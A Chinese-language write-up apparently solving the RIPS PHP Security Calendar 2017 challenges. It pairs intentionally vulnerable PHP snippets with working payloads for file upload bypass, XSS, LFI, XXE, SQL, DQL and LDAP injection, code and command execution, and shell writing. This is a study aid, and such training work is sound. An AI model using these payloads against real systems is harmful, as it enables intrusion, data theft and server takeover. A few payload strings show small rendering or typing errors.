:)
https://www.ripstech.com/php-security-calendar-2017/
day1 Wish List
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
|
这里是对上传的文件名做了白名单检查,要求是文件名为1-23的数字。然而,这里的判断用了in_array
,但是没有设置$strict = true
如果没有设置 strict 则使用宽松的比较 —— php.net
所以文件名为1backdoor.php
就能绕过白名单了
day2 Twig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| // composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
|
第10行使用了模板输出,link生成的方式为getNexSlideUrl()
,在这个函数中,验证是否为URL格式则用了filter_var
,然而用js协议就能绕过?nextSlide=javascript://comment%250aalert(1)
,这样只要点击链接,就能触发xss
day3 Snow Flake
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
if (class_exists($controllerName))
|
这里会触发__autoload
,如果php < 5.3
,那当/?c=../../../../etc/passwd
时,会将文件包含进来。
那么当php版本大于5.3,就可以使用php内置的类,比如SimpleXMLElement
就能造成xxe盲攻击,xxe近期会写一篇文章(愿此flag不倒)
day4 False Beard
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
|
很明显是个xxe,使用了strpos
strpos — 查找字符串首次出现的位置
1
2
| var_dump(strpos("h", "helloword"));
// bool(false)
|
所以只要username
跟password
的第一个字符是<
就能绕过判断,进行xxe攻击
username=<"><injected-tag%20property="&password=<injected-tag>
day5 Postcard
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
|
其实看到escapeshellarg
和mail
就想起了PHPMailer 小于 5.2.18 版本的 RCE 漏洞
这里就给个分析链接https://paper.seebug.org/164/ (赞美大黑阔
day6 Frost Pattern
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
|
这里是个任意文件删除漏洞,在代码中的正则其实有点小问题,猜测作者原意是让除了小写字母跟点、减号、下划线的其他字符替换为空,但是这里的正则中,减号并不是减号的意思,而是至,就像a-z
一样,从a至z的所有字母,同理.-_
就是从点(46)到下划线(95)的所有符号,所以可以构造payload:action=delete&data=../../config.php
day7 Bells
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
|
看到parse_str()
就想起了变量覆盖,http://webdog.top/php-blfg/#parse-str-%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96
这样就可以构造config
来链接到我们自己mysql服务器,返回任意的用户
pyload: http://host/?config[dbhost]=x.x.x.x&config[dbuser]=root&config[dbpass]=root&config[dbname]=any&id=1
day8 Candle
1
2
3
4
5
6
7
8
9
10
11
12
13
| header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
|
这里$regex
跟$value
都可控,所以我们可以注入任何php函数
payload: /?.*={${phpinfo()}}
最终输出的是{${phpinfo()}}
也就是执行了phpinfo()
,这里用了复杂(花括号)语法
http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval
http://php.net/manual/zh/language.types.string.php#language.types.string.parsing.complex
day9 Rabbit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
|
这个就不多说了,伪造Accept-Language
payload: ....//....//....//....//etc/passwd
day10 Anticipation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {
goAway();
}
if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}
|
首先第一行是个变量覆盖 extract() 所以$pi
是可控的
在php5中 assert的参数为字符串时,会被当作php代码执行。在php7中是一个语言结构,而不是一个函数
所以这里环境为php5,在此条件成立下,可以通过12行的assert执行任意函数,虽传进去的是字符串,但是goAway()
执行完并没有die
或者exit
所以下面的代码依旧可以运行
payload:pi=phpinfo()
day11 Pumpkin Pie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
|
看到unserialize
应该就是反序列化了,攻击链应该是cookie->__construct->__destruct->createCache
来写shell
所以就要绕过substr
跟正则,substr
可以序列化一个数组这样开头就是a:1:
,正则可以通过php的语法O👍
,这跟O:1:
是等价的
所以payload:a:1:{i:0;O:%2b8:"Template":2:{s:9:"cacheFile";s:14:"/var/www/a.php";s:8:"template";s:16:"<?php%20phpinfo();";}}
这样在调用析构函数的时候就会调用两套值,一套是我们构造的,一套是原来的
day12 String Lights
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| $sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
|
这里应该是个xss,首先htmlentities
默认不过滤单引号,所以可以构造<a href='/images/size.php?' onclick=alert(1) //'>link</a>
然后这里虽然对$value
进行了取整,不能使用字符串,但是没有对$key
进行过滤,结合上面
payload:/?a'onclick%3dalert(1)%2f%2f=c
day13 Turkey Baster
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| class LoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}
$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}
|
这里是个DQL(Doctrine Query Language)注入漏洞,DQL注入类似于SQL注入。
这里user
跟pass
虽然看上去经过了过滤,但是这个过滤函数有问题,如果我们传递\
作为输入,它将被转义为\\
。但是,该substr()
函数用于截断转义字符串。这使攻击者能够发送足够长的字符串,以避免转义反斜杠被切断,并且在字符串末尾留下一个\
。这将打破WHERE语句并允许注入自己的DQL语法。
所以payload:user=user=1234567890123456789\&passwd=%20OR%201=1-
day14 Snowman
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);
|
这里是个任意目录写入,虽然id看上去是数字,但是传入的时候可以是字符串,所以可以id = ../
,配合get_object_var
跟var_export
这样就可以在目录下写shell了
http://php.net/manual/zh/function.var-export.php
http://php.net/manual/zh/function.get-object-vars.php
day15 Sleigh Ride
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| class Redirect {
private $websiteHost = 'www.example.com';
private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}
public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}
if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}
|
首先是$_SERVER['PHP_SELF']
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。
因为explode
会用/
来分割,在第5行又有urldecode
所以可以用两次urlencode来绕过分割。
payload:/index.php/http:%252f%252fwww.domain.com?redirect=1
经过分割和end
后,$url=http:%252f%252fwww.domain.com?
,在经过setHeaders
就能跳转到构造好的链接
day16 Poem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| class FTP {
public $sock;
public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);
$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}
private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}
public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}
public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}
public function send($data) {
fputs($this->sock, $data);
}
}
new FTP('localhost', 21, 'user', 'password');
|
第8行看上去对请求进行了过滤,但是没对$_REQUEST
进行过滤,$_REQUEST
包含GET、POST、COOKIE,又因为25行使用的是==
,所以payload: ?mode=1%0a%0dDELETE%20test.file
就能利用ftp协议来删除文件了。
day17 Mistletoe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| class RealSecureLoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input) {
return addslashes($input);
}
}
$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}
|
看到13行的md5
第二个参数为true,就有可能是md5注入了。
当pass=128
时,经过md5
处理后就变成了v�an���l���q��\
,就能将单引号转义,使第一个单引号与倒数第二个单引号闭合,造成user的逃逸.
payload:?user=%20OR%201=1-&passwd=128
day18 Sign
1
2
3
4
5
6
7
8
9
10
11
12
| class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}
(new JWT())->verifyToken($_GET['d'], $_GET['s']);
|
这个看上去没什么问题,还用了openssl,但是在第5行使用了openssl_verify
,如果验证通过则返回1,验证不通过则返回0,如果$signature
是另一种加密算法的则返回-1。if中如果是-1也是返回true。所以payload:使用不同算法的签名。
day19 Birch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| class ImageViewer {
private $file;
function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}
function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert {$this->file} --resize $e
./thumbs/{$this->file}");
}
function __toString() {
return "<a href={$this->file}>
<img src=./thumbs/{$this->file}></a>";
}
}
echo (new ImageViewer("image.png"));
|
17行可以执行命令,如果能够绕过正则,就可以任意命令执行了。
这里使用了stripcslashes
返回反转义后的字符串。可识别类似 C 语言的 *\n,\r*,… 八进制以及十六进制的描述。
所以可以用8进制来绕过
payload:/?size=0\073\163\154\145\145\160\0405\073
解码为0;sleep 5;
day20 Stocking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);
class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}
try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}
return '<img src="' . $path . '" width="100"/>';
}
}
echo (new ImageLoader())->getResult($_GET['img']);
|
首先是第1行都报错跟第14行的file_get_contents
配合构成ssrf,例如输入?img=http://internal:22
,如果OpenSSH开着的话,会返回报错信息failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
其次第9行的filter_var
支持file://
协议,会导致任意文件读取
day21 Gift Wrap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| declare(strict_types=1);
class ParamExtractor {
private $validIndices = [];
private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};
try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}
return $this->validIndices;
}
public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}
$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);
|
33行的system
函数应该是个命令执行函数,然而第一行declare(strict_types=1)
启用了严格类型比较,但是array_walk
却忽略了,并采用弱类型。
所以可以构造输入的数组为?p[1]=1&p[2]=2;%20ls%20-la
,实现了任意命令执行
day22 Chimney
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}
$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}
|
12行使用了==
,所以造成了弱类型,只要md5(password) = 0e全是数字
就能绕过登录限制了。
因为弱类型0e是科学计数法,无论后面数字是啥,最终都等于0
day23 Cookies
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| class LDAPAuthenticator {
public $conn;
public $host;
function __construct($host = "localhost") {
$this->host = $host;
}
function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}
if(isset($_GET["u"]) && isset($_GET["p"])) {
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}
|
这里是个ldap注入,24行的表达式可以使用通配符,例如(&(uid=*)(userPassword=*))
这样就匹配了所有存在的用户了,成功绕过登录
payload: /?u=*&p=*
技术详解:基于Web的LDAP注入漏洞
day24 Nutcracker
1
2
3
4
5
6
| @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));
|
因为$a=$b=$c
,首先处理的是$c,所以
1
| $v1 = next(neXt(${'next'}['next'])) |
Step in
1
| @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
|
Step in next($GLOBALS{'GLOBALS'})
, 所以
1
| @$GLOBALS=$GLOBALS{next}=$_POST[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
|
Step in next($GLOBALS)['GLOBALS']
, 所以
1
2
| $v2 = $next['next']=$_COOKIE['GLOBALS'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$v2]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
|
Step in next($GLOBALS[GLOBALS]['GLOBALS']
1
2
| $v3 = $next['GLOBALS']=$_FILES[$v2]
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$next['GLOBALS']=next($v3)][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
|
Step in ext($v3)
1
2
3
| next($v3) = next($_FILES[$v2]) = $_FILES[$v2]['type']
$v4 = $next['GLOBALS']=$_FILES[$v2]['type'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;
|
Step in
1
2
| $v2 = $next['next']= $GLOBALS[next]['next'] =$_COOKIE['GLOBALS'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$_COOKIE['GLOBALS']($_FILES[$v2]['type'])]=$v1;
|
其中$_COOKIE['GLOBALS']($_FILES[$v2]['type'])
构成了可执行的函数
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| POST /index.php HTTP/1.1
Host: x.x.x.x
Content-Length: 1325
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L
Cookie: GLOBALS=system
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="ls"; filename="hello.o"
Content-Type: ls
<file data>
------WebKitFormBoundaryePkpFF7tjBAqx29L——— |
http://www.bkjia.com/nwaq/907301.html
http://mage-ctf-writeup.blogspot.com/2014/10/hacklu-2014-ctf.html
https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/next-global-backdoor